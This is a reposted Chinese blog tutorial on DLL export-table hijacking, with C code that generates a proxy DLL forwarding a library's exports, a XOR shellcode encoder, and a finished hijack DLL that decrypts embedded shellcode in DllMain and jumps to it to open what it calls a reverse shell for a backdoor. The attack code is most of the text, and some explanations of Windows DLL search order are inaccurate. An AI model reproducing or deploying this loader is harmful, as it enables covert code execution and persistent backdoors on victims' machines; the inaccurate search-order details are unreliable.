1.13 导出表劫持ShellCode加载

Windows操作系统中,动态链接库DLL是一种可重用的代码库,它允许多个程序共享同一份代码,从而节省系统资源。在程序运行时,如果需要使用某个库中的函数或变量,就会通过链接库来实现。而在Windows系统中,两个最基础的链接库就是Ntdll.dllKernel32.dll

Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库,包含了大量的系统核心函数,如文件操作、进程和线程管理、内存操作等等。在进程启动时,操作系统会先加载Ntdll.dll,并将其映射到该进程的地址空间中。由于Ntdll.dll是如此重要,所以任何对其的劫持都是无效的。这也是为什么说在应用层下,无论什么程序都无法修改或替换Ntdll.dll的原因。

另一个常见的链接库是Kernel32.dll,它是Windows系统最基本的用户模式API之一。该库包含了大量的系统函数,如内存管理、进程和线程管理、文件操作、设备驱动程序管理等等。与Ntdll.dll不同的是,Kernel32.dll可以被劫持或替换。在程序启动时,操作系统会先将Ntdll.dll加载到进程地址空间中,然后将Kernel32.dll加载到内存中,并将其导出函数地址添加到进程的导出表中。在程序执行过程中,如果需要使用Kernel32.dll中的函数,则可以通过在导出表中查找函数的地址来实现。因此,对于除Ntdll.dll以外的其他链接库,理论上来说都是可以被劫持或替换的。

1.13.1 动态链接库加载顺序

当系统启动时,系统进程smss.exe会负责加载并初始化所有的系统服务和驱动程序。在此过程中,系统会先将一些常用的DLL文件预加载到内存中,以加快系统的启动速度。

这些常用的DLL文件的信息会被保存在注册表中的\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径下。

这个注册表键值包含了一个列表,其中存储了操作系统预加载的DLL文件的名称和路径。当操作系统需要加载某个DLL时,它会先在这个列表中查找,如果找到了对应的DLL文件,就会直接从预加载的内存中加载这个DLL,而不是从磁盘上重新读取。预加载DLL的优点是可以加快系统的启动速度,因为预加载的DLL文件已经被缓存到内存中,可以直接从内存中读取,而不需要再次从硬盘中读取。这样可以避免由于磁盘读写速度较慢而导致的启动延迟。

读者需要注意,预加载的DLL文件仅包含了系统中一些常用的DLL文件,而不包括所有的DLL文件。当程序需要加载一个没有被预加载的DLL文件时,操作系统会从磁盘上读取这个DLL文件,并将其加载到内存中。这种情况下,DLL文件的加载顺序是按照程序需要的顺序来进行的。当一个程序需要多个DLL文件时,这些DLL文件的加载顺序是有先后顺序的,通常是从最基本的DLL文件开始,逐步向上层的DLL文件进行加载。这种顺序可以保证程序的正确性和稳定性。

程序需要加载某个DLL文件时,系统会按照如下顺序动态查找:

  • 1.首先查找应用程序自身目录,如果DLL文件存在于应用程序的目录下,则直接加载这个DLL文件。
  • 2.如果DLL文件不存在于应用程序的目录下,则系统会查找系统目录C:\Windows\System32C:\Windows\SysWOW64,如果DLL文件存在于系统目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件既不存在于应用程序的目录下,也不存在于系统目录下,则系统会查找环境变量PATH所指定的路径。如果DLL文件存在于PATH所指定的路径中的任意一个目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件还是没有被找到,则系统会尝试从注册表中查找DLL文件所对应的路径。这个过程是通过查找注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DLLDirectories下的子键完成的,这些子键包含了DLL文件所在的目录路径。
  • 4.如果在注册表中还没有找到DLL文件,则系统会在所有已加载的DLL文件中查找是否有该DLL文件的导入项。如果存在,则说明该DLL文件已经被其他DLL文件加载,系统会尝试使用已加载的DLL文件来满足当前程序的需要。
  • 5.如果前面的步骤都没有找到DLL文件,则系统会提示找不到所需的DLL文件,并终止当前进程的执行。

1.13.2 实现DLL劫持代码生成

根据上方描述,读者应该能发现一个问题,如果在某个lyshark.exe应用程序根目录下重命名一个与其所调用DLL相同名称的DLL,而把原始DLL文件更名为其他名称,当应用程序调用时则该调用将被我们自己的DLL所接管,当处理完时则把这个请求传递给原始DLL执行,此时原函数依然可以被执行,而我们就算做了一个中间商,我们则可以在调用之间增加自己的功能,以此来实现应用功能的劫持及插入;

要实现上述功能,则我们需要得到指定DLL模块中所有的导出函数名称及导出序号,并将其通过/EXPORT:%s=%s.%s,@%d的方式生成一个新的DLL文件,有了思路那么就开始实现吧;

首先需要做的是打开一个DLL文件,并定位到PIMAGE_NT_HEADERS头部,将头部指针返回给全局变量NtHeader存储,实现该功能的核心是通过ReadFile将文件读入内存,并通过PIMAGE_NT_HEADERS强转为指针类型,将该数据存储到全局变量内保存;

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>PIMAGE_DOS_HEADER DosHeader = nullptr;
PIMAGE_NT_HEADERS NtHeader = nullptr;
DWORD FileBase = 0;void OpenPeFile(LPCSTR FileName)
{HANDLE Handle = CreateFileA(FileName, GENERIC_READ, NULL,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (Handle == INVALID_HANDLE_VALUE)return;DWORD FileSize = GetFileSize(Handle, NULL);DWORD OperSize = 0;FileBase = (DWORD)new BYTE[FileSize];ReadFile(Handle, (LPVOID)FileBase, FileSize, &OperSize, NULL);// 获取DOS头并判断是不是一个有效的DOS文件DosHeader = (PIMAGE_DOS_HEADER)FileBase;if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)exit(0);// 获取 NT 头并判断是不是一个有效的PE文件NtHeader = (PIMAGE_NT_HEADERS)(FileBase + DosHeader->e_lfanew);if (NtHeader->Signature != IMAGE_NT_SIGNATURE)exit(0);CloseHandle(Handle);
}

接着需要实现一个地址转换功能以用于导出函数解析时使用,将RVA(相对虚拟地址)转换为FOA(文件偏移地址),RVA是相对于模块基址的偏移量,而FOA是相对于文件开头的偏移量,该函数的实现原理是遍历PE文件中所有的节(Section),找到包含给定RVA的节,并计算出相应的FOA。

首先获取PE文件中节表的指针,然后遍历所有节,对于每个节,计算该节的起始RVA和结束RVA,并判断给定的RVA是否在该节的地址范围内。如果找到包含给定RVA的节,则根据该节的信息计算出该RVA对应的FOA并返回。

DWORD RVAtoFOA(DWORD rva)
{auto SectionTables = IMAGE_FIRST_SECTION(NtHeader);WORD Count = NtHeader->FileHeader.NumberOfSections;for (int i = 0; i < Count; ++i){DWORD Section_Start = SectionTables[i].VirtualAddress;DWORD Section_Ends = SectionTables[i].VirtualAddress + SectionTables[i].SizeOfRawData;if (rva >= Section_Start && rva < Section_Ends){return rva - SectionTables[i].VirtualAddress + SectionTables[i].PointerToRawData;}}return -1;
}

有了前面的基础,我们就可以实现导出表劫持功能了,如下所示GenerateEAT则是一个导出文件生成工具,其传入一个DLL文件名,及原函数名前缀/劫持后名称,并自动生成一个可编译的DLL源程序,读者只需要拿到源程序进行编译即可得到一个导出表劫持DLL了,这段C代码实现原理如下所示;

  • 1.通过CreateFileAReadFile函数获取PE文件的内容,然后获取其DOS头和NT头。
  • 2.通过NT头数据目录中的导出表的虚拟地址,定位导出表的位置,并获取导出表的信息,包括导出函数数量、导出函数名称数量、函数地址表、函数名称表、函数名称序号表等。
  • 3.遍历导出函数名称表,获取每个导出函数的名称,并以该名称作为导出函数的别名,通过#pragma comment语句将导出函数别名和实际函数名映射到导出表中,从而实现对导出函数的劫持和代理。
  • 4.使用fwrite函数将生成的代理DLL的代码写入到新的DLL文件中,并使用fclose函数关闭文件句柄。
void GenerateEAT(char* FileName, char* OldDllName)
{DWORD rav = NtHeader->OptionalHeader.DataDirectory[0].VirtualAddress;auto ExportTable = (PIMAGE_EXPORT_DIRECTORY)(RVAtoFOA(rav) + FileBase);DWORD NameCount = ExportTable->NumberOfNames;DWORD FunctionCount = ExportTable->NumberOfFunctions;DWORD* Addr_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfFunctions) + FileBase);DWORD* Name_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfNames) + FileBase);WORD* Id_Table = (WORD*)(RVAtoFOA(ExportTable->AddressOfNameOrdinals) + FileBase);FILE* fp = fopen(FileName, "a+");char buf[8192] = { 0 };sprintf(buf, "// PowerBy:LyShark\n#include <stdio.h>\n#include <windows.h>\n\n");fwrite(buf, strlen(buf), 1, fp);for (DWORD i = 0; i < FunctionCount; ++i){for (DWORD j = 0; j < NameCount; ++j){if (i == Id_Table[j]){CHAR* Name = (CHAR*)(RVAtoFOA(Name_Table[j]) + FileBase);sprintf(buf, "#pragma comment(linker, \"/EXPORT:%s=%s.%s,@%d\") \n",Name, OldDllName, Name, i + 1);fwrite(buf, strlen(buf), 1, fp);_flushall();Sleep(20);printf("%s", buf);break;}}}sprintf(buf,"\nBOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\n""{\n"" if (dwReason == DLL_PROCESS_ATTACH)\n"" {\n""   DisableThreadLibraryCalls(hModule);\n"" }\n"" return TRUE;\n""}\n");fwrite(buf, strlen(buf), 1, fp);_fcloseall();
}

编译工具并执行GenEAT.exe -d ./lyshark.dll -c ./lyshark.c -n old_lyshark执行后会生成lyshark.c文件,当读者传入参数是将自动生成lyshark.dll文件的导出表文件lyshark.c其劫持后名称为old_lyshark

int main(int argc, char* argv[])
{if (argc == 7){if (!strcmp(argv[1], "-d") && !strcmp(argv[3], "-c") && !strcmp(argv[5], "-n")){OpenPeFile(argv[2]);GenerateEAT(argv[4], argv[6]);}}return 0;
}

1.13.3 实现劫持ShellCode注入

有前面的导出表DLL生成功能,那么实现劫持就变得很容易了,为了能够演示这种劫持技术,此处我们需要自行生成一个lyshark.dll以及一个main.exe程序。

先来创建一个DLL并导出两个函数,然后创建主程序动态的加载这个DLL,此DLL程序只包含了几个简单的计算功能。

#include <Windows.h>extern "C" int __declspec(dllexport)add(int x, int y)
{return x + y;
}extern "C" int __declspec(dllexport)sub(int x, int y)
{return x - y;
}extern "C" int __declspec(dllexport)mul(int x, int y)
{return x * y;
}extern "C" int __declspec(dllexport)divs(int x, int y)
{return x / y;
}BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{return true;
}

接着编译main.cpp程序并生成main.exe,生成程序后,将lyshark.dll放入同一个目录下即可,程序运行后会通过LoadLibrary加载lyshark.dll到自身,并通过GetProcAddress动态获取到addFun的函数地址,调用其函数实现加法计算;

#include <stdio.h>
#include <Windows.h>typedef int(*lpAdd)(int, int);
typedef int(*lpSub)(int, int);
typedef int(*lpMul)(int, int);
typedef int(*lpDiv)(int, int);int main(int argc, char *argv[])
{HINSTANCE DllAddr;lpAdd addFun;DllAddr = LoadLibrary("lyshark.dll");addFun = (lpAdd)GetProcAddress(DllAddr, "add");if (NULL != addFun){int res = addFun(100, 200);printf("结果: %d \n", res);}FreeLibrary(DllAddr);system("pause");return 0;
}

当读者编译好这两段程序后,请将其放入到同级目录下,运行main.exe则会看到输出计算结果,如下图所示;

通过运行劫持程序GenEAT.exe则读者会看到如下图所示的输出,此时打开lyshark.c则是我们的劫持DLL源代码文件;

为了保证后门的稳定性,此处我们实现了XorEncodeDeCode函数,该函数的作用是对一个存储在变量buf中的ShellCode进行加密,并输出加密后的结果。

首先,代码定义了一个名为cCode的字符数组,并将变量StrPasswd的值复制到了这个数组中。然后,使用一个for循环遍历cCode数组中的每个字符,将其与Xor_Key的乘积相加,并将结果存储回Xor_Key中。这样就得到了一个动态计算的密钥。

接下来,代码使用一个for循环遍历buf数组中的每个字节,并将其与Xor_Key进行异或运算。异或运算可以实现简单的加密和解密操作,这里用它来加密buf数组中存储的ShellCode。每次进行异或运算后将数据输出。

#include <stdio.h>
#include <tchar.h>
#include <windows.h>unsigned char buf[] =
"\xbf\x7f\x06\x7d\x30\xdb\xd9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x7e\x14\x03\x7e\x14\x83\xee\xfc\x9d\xf3\x81"
"\xd8\xee\xfc\x79\x19\x90\x75\x9c\x28\x82\xe2\xd4\x19\x12"
"\x60\xb8\x91\xd9\x24\x29\x9b\x22\xc7\xe6\x91\xfa\x53\x7a"
"\x0e\x33\xa4\xd7\x72\x52\x58\x2a\xa7\xb4\x61\xe5\xba\xb5"
"\xa6\xb3\xb1\x5a\x7a\x13\xb1\xf6\x6b\x10\x87\xca\x8a\xf6"
"\x83\x72\xf5\x73\x53\x06\x49\x7d\x84\x6d\x19\x65\x74\xfa"
"\xc2\xb5\x75\x2f\x77\x7c\x01\xf3\x31\xf4\xde\x80\xc3\xdc"
"\x2e\x69\xf2\x20\xfc\x54\x3a\xad\xfc\x91\xfd\x4e\x8b\xe9"
"\xfd\xf3\x8c\x2a\x7f\x28\x18\xac\x27\xbb\xba\x08\xd9\x68"
"\x5c\xdb\xd5\xc5\x2a\x83\xf9\xd8\xff\xb8\x06\x50\xfe\x6e"
"\x8f\x22\x25\xaa\xcb\xf1\x44\xeb\xb1\x54\x78\xeb\x1e\x08"
"\xdc\x60\x8c\x5f\x60\x89\x4e\x60\x3c\x1d\x82\xad\xbf\xdd"
"\x8c\xa6\xcc\xef\x13\x1d\x5b\x43\xdb\xbb\x9c\xd2\xcb\x3b"
"\x72\x5c\x9b\xc5\x73\x9c\xb5\x01\x27\xcc\xad\xa0\x48\x87"
"\x2d\x4c\x9d\x3d\x24\xda\xde\x69\x31\x9d\xb7\x6b\x42\x86"
"\x48\xe2\xa4\x98\x06\xa4\x78\x59\xf7\x04\x29\x31\x1d\x8b"
"\x16\x21\x1e\x46\x3f\xc8\xf1\x3e\x17\x65\x6b\x1b\xe3\x14"
"\x74\xb6\x89\x17\xfe\x32\x6d\xd9\xf7\x37\x7d\x0e\x60\xb7"
"\x7d\xcf\x05\xb7\x17\xcb\x8f\xe0\x8f\xd1\xf6\xc6\x0f\x29"
"\xdd\x55\x57\xd5\xa0\x6f\x23\xe0\x36\xcf\x5b\x0d\xd7\xcf"
"\x9b\x5b\xbd\xcf\xf3\x3b\xe5\x9c\xe6\x43\x30\xb1\xba\xd1"
"\xbb\xe3\x6f\x71\xd4\x09\x49\xb5\x7b\xf2\xbc\xc5\x7c\x0c"
"\x42\xe2\x24\x64\xbc\xb2\xd4\x74\xd6\x32\x85\x1c\x2d\x1c"
"\x2a\xec\xce\xb7\x63\x64\x44\x56\xc1\x15\x59\x73\x87\x8b"
"\x5a\x70\x1c\x3c\x20\xf9\xa3\xbd\xd5\x13\xc0\xbe\xd5\x1b"
"\xf6\x83\x03\x22\x8c\xc2\x97\x11\x9f\x71\xb5\x30\x0a\x79"
"\xe9\x43\x1f";// 计算异或密钥对,并对ShellCode进行加解密
void XorEncodeDeCode(TCHAR* StrPasswd)
{TCHAR cCode[32] = { 0 };_tcscpy(cCode, StrPasswd);// 动态计算字符串生成密钥DWORD Xor_Key = 0;for (unsigned int x = 0; x < lstrlen(cCode); x++){Xor_Key = Xor_Key * 4 + cCode[x];}// 加密ShellCode并输出int nLen = sizeof(buf) - 1;printf("unsigned char buf[] = \n\"");for (int count = 0; count < nLen; count++){buf[count] = buf[count] ^ Xor_Key;printf("\\x%x", buf[count]);if (count % 15 == 0 && count != 0){printf("\"\n\"");}}printf("\";\n");
}int main(int argc, char *argv[])
{// 传入密钥加密数据XorEncodeDeCode("lyshark");system("pause");return 0;
}

代码使用printf 函数输出当前字节的十六进制表示形式,为了美观起见,代码在输出时每输出15个字节就插入一个换行符,使得输出的结果分行显示。同时,代码还在每行输出前后添加了一些字符串格式化符号,以便将输出的结果转换为一个C语言风格的数组定义,输出效果如下图所示;

根据上述代码,我们可以写出如下导出语法,读者需要将如下DLL生成为lyshark.dll文件,并将原始的DLL文件改名为old_lyshark.dll

#include <stdio.h>
#include <tchar.h>
#include <windows.h>#pragma comment(linker, "/EXPORT:add=old_lyshark.add,@1") 
#pragma comment(linker, "/EXPORT:divs=old_lyshark.divs,@2") 
#pragma comment(linker, "/EXPORT:mul=old_lyshark.mul,@3") 
#pragma comment(linker, "/EXPORT:sub=old_lyshark.sub,@4")unsigned char buf[] =
"\xfc\x3c\x45\x3e\x73\x98\x9a\x9a\x37\x67\xb7\x1d\x6a\x8a\xf2\x1a"
"\x72\x3d\x57\x40\x3d\x57\xc0\xad\xbf\xde\xb0\xc2\x9b\xad\xbf"
"\x3a\x5a\xd3\x36\xdf\x6b\xc1\xa1\x97\x5a\x51\x23\xfb\xd2\x9a"
"\x67\x6a\xd8\x61\x84\xa5\xd2\xb9\x10\x39\x4d\x70\xe7\x94\x31"
"\x11\x1b\x69\xe4\xf7\x22\xa6\xf9\xf6\xe5\xf0\xf2\x19\x39\x50"
"\xf2\xb5\x28\x53\xc4\x89\xc9\xb5\xc0\x31\xb6\x30\x10\x45\xa"
"\x3e\xc7\x2e\x5a\x26\x37\xb9\x81\xf6\x36\x6c\x34\x3f\x42\xb0"
"\x72\xb7\x9d\xc3\x80\x9f\x6d\x2a\xb1\x63\xbf\x17\x79\xee\xbf"
"\xd2\xbe\xd\xc8\xaa\xbe\xb0\xcf\x69\x3c\x6b\x5b\xef\x64\xf8"
"\xf9\x4b\x9a\x2b\x1f\x98\x96\x86\x69\xc0\xba\x9b\xbc\xfb\x45"
"\x13\xbd\x2d\xcc\x61\x66\xe9\x88\xb2\x7\xa8\xf2\x17\x3b\xa8"
"\x5d\x4b\x9f\x23\xcf\x1c\x23\xca\xd\x23\x7f\x5e\xc1\xee\xfc"
"\x9e\xcf\xe5\x8f\xac\x50\x5e\x18\x0\x98\xf8\xdf\x91\x88\x78"
"\x31\x1f\xd8\x86\x30\xdf\xf6\x42\x64\x8f\xee\xe3\xb\xc4\x6e"
"\xf\xde\x7e\x67\x99\x9d\x2a\x72\xde\xf4\x28\x1\xc5\xb\xa1"
"\xe7\xdb\x45\xe7\x3b\x1a\xb4\x47\x6a\x72\x5e\xc8\x55\x62\x5d"
"\x5\x7c\x8b\xb2\x7d\x54\x26\x28\x58\xa0\x57\x37\xf5\xca\x54"
"\xbd\x71\x2e\x9a\xb4\x74\x3e\x4d\x23\xf4\x3e\x8c\x46\xf4\x54"
"\x88\xcc\xa3\xcc\x92\xb5\x85\x4c\x6a\x9e\x16\x14\x96\xe3\x2c"
"\x60\xa3\x75\x8c\x18\x4e\x94\x8c\xd8\x18\xfe\x8c\xb0\x78\xa6"
"\xdf\xa5\x0\x73\xf2\xf9\x92\xf8\xa0\x2c\x32\x97\x4a\xa\xf6"
"\x38\xb1\xff\x86\x3f\x4f\x1\xa1\x67\x27\xff\xf1\x97\x37\x95"
"\x71\xc6\x5f\x6e\x5f\x69\xaf\x8d\xf4\x20\x27\x7\x15\x82\x56"
"\x1a\x30\xc4\xc8\x19\x33\x5f\x7f\x63\xba\xe0\xfe\x96\x50\x83"
"\xfd\x96\x58\xb5\xc0\x40\x61\xcf\x81\xd4\x52\xdc\x32\xf6\x73"
"\x49\x3a\xaa\x0\x5c";// 动态解密ShellCOde
void XorEncodeDeCode(TCHAR *StrPasswd)
{TCHAR cCode[32] = { 0 };_tcscpy(cCode, StrPasswd);// 动态计算字符串生成密钥DWORD Xor_Key;for (unsigned int x = 0; x < lstrlen(cCode); x++){Xor_Key = Xor_Key * 4 + cCode[x];}// 加密ShellCode并放入到原始空间中int nLen = sizeof(buf) - 1;for (int i = 0; i<nLen; i++){buf[i] = buf[i] ^ Xor_Key;}
}HANDLE MyhThread = NULL;DWORD WINAPI MyRun(LPVOID pParameter)
{// 解密ShellCodeXorEncodeDeCode(L"lyshark");// 执行反弹__asm{mov eax, offset buf;jmp eax;}/*__asm{lea eax, offset buf;push eax;ret;}__asm{mov eax, offset buf;_emit 0xFF;_emit 0xE0;}*/
}BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{if (dwReason == DLL_PROCESS_ATTACH){// 禁用DLL的DLL_THREAD_ATTACH和DLL_THREAD_DETACH通知DisableThreadLibraryCalls(hModule);MyhThread = ::CreateThread(NULL, 0, &MyRun, 0, 0, 0);}return TRUE;
}

至此程序运行后则会首先执行我们的ShellCode代码,然后在执行原函数完成动态调用的功能;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/3ee1efdc.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/114731.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

二维数组创建方式比较

暑假跟着地质队去跑山了&#xff0c;到现在还没结束&#xff0c;今天休息的时候突然刷到了一篇关于C二维数组创建方面的文章&#xff0c;我觉得还是非常不错滴&#xff0c;就将其中提到的新方法和我已经使用过的三种方法进行了比较&#xff0c;发现该方法提高了二维数组的分配、…

集成跨境电商ERP(积加、易仓、马帮等)连接多个应用

场景描述&#xff1a; 基于跨境电商开放平台&#xff08;积加、易仓、马帮等&#xff09;能力&#xff0c;无代码集成跨境电商ERP与多个应用互通互连。通过Aboter可搭建业务自动化流程&#xff0c;实现多个应用之间的数据连接。 连接器&#xff1a; 积加ERP马帮ERP易仓ERP……

通过「内网穿透」技术,实现出差期间远程访问企业局域网中的象过河ERP系统

文章目录 概述1.查看象过河服务端端口2.内网穿透3. 异地公网连接4. 固定公网地址4.1 保留一个固定TCP地址4.2 配置固定TCP地址 5. 使用固定地址连接 概述 ERP系统对于企业来说重要性不言而喻&#xff0c;不管是财务、生产、销售还是采购&#xff0c;都需要用到ERP系统来协助。…

投票同款特效样式

先看效果&#xff1a; 再看代码&#xff08;查看更多&#xff09;&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title><style>import url("https://fonts.…

Spring Boot集成MyBatis Plus

文章目录 一、前言二、步骤2.1、步骤 1&#xff1a;创建 Spring Boot 项目2.2、添加依赖2.2.1、基本的Spring和Spring MVC功能2.2.2、MySQL驱动依赖2.2.3、 MyBatis Plus 的依赖 2.3、配置数据库连接2.4、创建实体类2.5、创建 Mapper 接口2.6、编写 Service 层2.7、编写 Contro…

可拖拽编辑的流程图X6

先上图 //index.html&#xff0c;有时候可能加载失败&#xff0c;那就再找一个别的cdn 或者npm下载&#xff0c;如果npm下载&#xff0c; //那么需要全局引入或者局部引入&#xff0c;代码里面写法也会不同&#xff0c;详细的可以看示例<script src"https://cdn.jsdeli…

STM32 CUBEMX CAN通信数据发送失败原因分析

CAN通信是一种数据通信协议&#xff0c;用于在不同设备之间进行通信。它是一种高效的、实时的、可靠的、多主机的、串行通信系统&#xff0c;通常用于汽车电子、工业自动化等领域。CAN通信协议是由德国BOSCH公司于1986年引入&#xff0c;并在欧洲和日本广泛使用。CAN通信具有独…

如何在B站进行学习直播

诸神缄默不语-个人CSDN博文目录 会根据我使用的情况进行持续更新 文章目录 1. 电脑 - 哔哩哔哩直播姬1. 软件的基础使用2. 素材1. 摄像头2. 窗口捕捉3. 游戏进程图片文字浏览器 3. H5插件其他注意事项 2. 手机直播3. iPad直播 1. 电脑 - 哔哩哔哩直播姬 1. 软件的基础使用 电…

Java设计模式:四、行为型模式-04:中介者模式

文章目录 一、定义&#xff1a;中介者模式二、模拟场景&#xff1a;中介者模式三、违背方案&#xff1a;中介者模式3.1 工程结构3.2 创建数据库3.3 JDBC工具类3.4 单元测试 四、改善代码&#xff1a;中介者模式4.1 工程结构4.2 中介者工程结构图4.3 资源和配置类4.3.1 XML配置对…

一文速学-让神经网络不再神秘,一天速学神经网络基础-激活函数(二)

前言 思索了很久到底要不要出深度学习内容&#xff0c;毕竟在数学建模专栏里边的机器学习内容还有一大半算法没有更新&#xff0c;很多坑都没有填满&#xff0c;而且现在深度学习的文章和学习课程都十分的多&#xff0c;我考虑了很久决定还是得出神经网络系列文章&#xff0c;…

【Linux】线程安全-死锁

文章目录 死锁问题场景1场景2死锁的gdb调试造成死锁的必要条件不可剥夺循环等待互斥条件请求和保持 预防死锁破坏必要条件&#xff0c;循环等待&请求和保持加锁顺序一致避免锁没有被释放资源一次性分配 死锁问题 死锁的两种场景&#xff1a; 场景1 线程加锁之后一直没有将锁…

[FPGA IP系列] BRAM IP参数配置与使用示例

FPGA开发中使用频率非常高的两个IP就是FIFO和BRAM&#xff0c;上一篇文章中已经详细介绍了Vivado FIFO IP&#xff0c;今天我们来聊一聊BRAM IP。 本文将详细介绍Vivado中BRAM IP的配置方式和使用技巧。 一、BRAM IP核的配置 1、打开BRAM IP核 在Vivado的IP Catalog中找到B…

计算机毕设之基于python+echarts+mysql的图书馆可视化管理系统(文档+代码+部署教程)

系统阐述的是一款图书馆可视化管理系统的设计与实现&#xff0c;对于Python、B/S结构、MySql进行了较为深入的学习与应用。主要针对系统的设计&#xff0c;描述&#xff0c;实现和分析与测试方面来表明开发的过程。开发中使用了 django框架和MySql数据库技术搭建系统的整体架构…

Royal TSX 6 Mac多协议远程软件

Royal TSX是一款功能强大的远程桌面管理软件&#xff0c;适用于Mac操作系统。它允许用户通过一个集成的界面来管理和访问多个远程计算机和服务器。 Royal TSX支持多种远程协议&#xff0c;包括RDP、VNC、SSH、Telnet和FTP等&#xff0c;可以方便地连接到Windows、Linux、Mac和其…

vue、elementui控制前一级选择后,后一级才会有数据

<el-form-item label"废物类型&#xff1a;"><el-select clearable v-model"queryForm.hswCateType" placeholder"请选择" change"industryCategoryChange" focus"industryCategoryFocus"><el-option v-for&…

pytorch中 nn.Conv2d的简单用法

torch.nn.Conv2d(in_channels, out_channels, kernel_size, stride1, padding0, dilation1, groups1, biasTrue,padding_modezeros)参数介绍&#xff1a; in_channels&#xff1a;卷积层输入通道数 out_channels&#xff1a;卷积层输出通道数 kernel_size&#xff1a;卷积层的…

【报错记录】疯狂踩坑之RockyLinux创建Raid1镜像分区,Raid分区在重启后消失了!外加华硕主板使用Raid模式后,硬盘在系统中无法找到问题

前言 为了摆脱对于专业NAS的依赖&#xff0c;我决定专门使用一台Linux服务器安装NAS程序的方式实现NAS功能&#xff0c;这里就需要用到Raid功能&#xff0c;由于目前我只有3块SSD&#xff08;256G500G500G&#xff09;&#xff0c;在ChatGPT的推荐下还是使用一个256G系统盘2块…

Streamlit 讲解专栏(十二):数据可视化-图表绘制详解(下)

文章目录 1 前言2 使用st.vega_lite_chart绘制Vega-Lite图表2.1 示例1&#xff1a;绘制散点图2.2 示例2&#xff1a;自定义主题样式 3 使用st.plotly_chart函数创建Plotly图表3.1 st.plotly_chart函数的基本用法3.2 st.plotly_chart 函数的更多用法 4 Streamlit 与 Bokeh 结合进…

软件测试/测试开发丨Python 学习笔记 之 链表

点此获取更多相关资料 本文为霍格沃兹测试开发学社学员学习笔记分享 原文链接&#xff1a;https://ceshiren.com/t/topic/26458 链表与数组的区别 复杂度分析 时间复杂度数组链表插入删除O(n)O(1)随机访问O(1)O(n) 其他角度分析 内存连续&#xff0c;利用CPU的机制&#xff0…

ABAP FICO 凭证替代 凭证校验

凭证校验 1.T-CODE--->GGX2--->GBLR-->ZRGGBR000 2.将程序RGGBR000 复制为ZRGGBR000 3.GGB0--》财务会计--》凭证抬头或者行项目维护检验规则 4.OB28 维护特定的公司代码和调用点和确认&#xff0c;活动等级设置为1 5.GGB4-->激活校验 凭证替代 1.T-CODE--->GG…